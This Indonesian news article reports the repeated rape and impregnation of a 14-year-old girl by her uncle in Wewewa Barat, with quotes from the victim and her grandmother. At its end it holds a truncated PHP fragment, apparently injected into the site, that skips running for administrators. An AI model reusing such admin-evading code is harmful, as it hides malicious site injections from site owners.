Hukum

Setubuhi Anak Kakak Kandung hingga Hamil 7 Bulan, Maksimus Kini Minggat di Luar Pulau

×

Setubuhi Anak Kakak Kandung hingga Hamil 7 Bulan, Maksimus Kini Minggat di Luar Pulau

Sebarkan artikel ini

WEWEWA BARAT, MENARASUMBA.COM – Perbuatan bejat terhadap anak perempuan di bawah umur kembali terjadi di Wewewa Barat.Kali ini pelakunya Maksimus Ama Kii, warga Lamateng, Dusun IV, Desa Wee Kombaka, Kecamatan Wewewa Barat.

Dada Kambe, nenek korban saat mengisahkan peristiwa yang menimpa cucunya. ( Foto Menara Sumba )

Hasil konfirmasi media ini, Senin (11/08/2025) petang korban adalah anak dari kakak kandung pelaku yang juga beralamat sama.

Saat ditanya korban berinisial MIK (14) ini mengaku dipaksa melayani nafsu setan pamannya saat rumah lagi sepi.

“Pertama kali terjadi ketika saya sedang bersihkan beras, tiba-tiba ia datang dari arah belakang menutup mulut saya,” bebernya.

Setelah itu pelaku memukul dan mengancam korban agar tidak berteriak.

Maksimus kemudian melampiaskan nafsu bejatnya dan memerkosa korban.

“Saya diancam untuk tidak memberitahu siapa pun atas apa yang dilakukannya,” kata MIK lebih lanjut.

Tidak sampai di situ, Maksimus kemudian mengulangi lagi perbuatannya dan kembali menggagahi anak dari kakak kandungnya ini.

“Peristiwa kedua terjadi saat saya sedang menyapu di kamar dan tiba-tiba ia masuk merangkul saya dengan kuat,” terangnya.

Seketika korban yang sudah disumpal mulutnya tidak berdaya hingga pelaku kembali meluapkan birahi setannya.

Aib ini terbongkar pada akhir bulan Juli lalu ketika nenek korban curiga melihat perubahan di tubuh MIK.

Dada Kambe, nenek korban menuturkan, sudah beberapa bulan ia curiga karena cucunya tidak lagi menstruasi.

“Saya selalu perhatikan dan sudah beberapa bulan ini cucu saya tak pernah menstruasi,” ungkapnya.

Kendati terus ditanyakan sang nenek tak sekalipun MIK buka suara, apalagi berterus-terang tentang apa yang sudah dialaminya.

Kecurigaan neneknya kian menguat setelah melihat kondisi perut MIK yang kian membuncit.

“Suatu ketika saya bersama tante kandungnya membuka paksa baju MIK dan mendapati perut serta payudaranya yang sudah membesar,” aku si nenek.

Saat itulah MIK berterus terang dan menceritakan semua perbuatan bejat yang dilakukan adik dari ayahnya tersebut.

Meski kaget mendengar pengakuan cucunya, Dada Kambe coba menenangkan perasaannya yang hancur usai mengetahui aib ini.

Apalagi Maksimus sendiri sudah sejak bulan Maret lalu meninggalkan kampung halaman mencari peruntungan di Bima, Sumbawa, NTB.

“Saat itu ia beralasan mau mencari uang sebagai buruh di kebun jagung,” jelas Dada Kambe.

Kini keluarga besar MIK sudah bulat niat untuk melaporkan perbuatan Maksimus ke pihak berwajib.

“Lebih baik ia pertanggungjawabkan perbuatannya dan ada efek jera agar tidak ada perbuatan serupa di kemudian hari,” tandas sang nenek. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>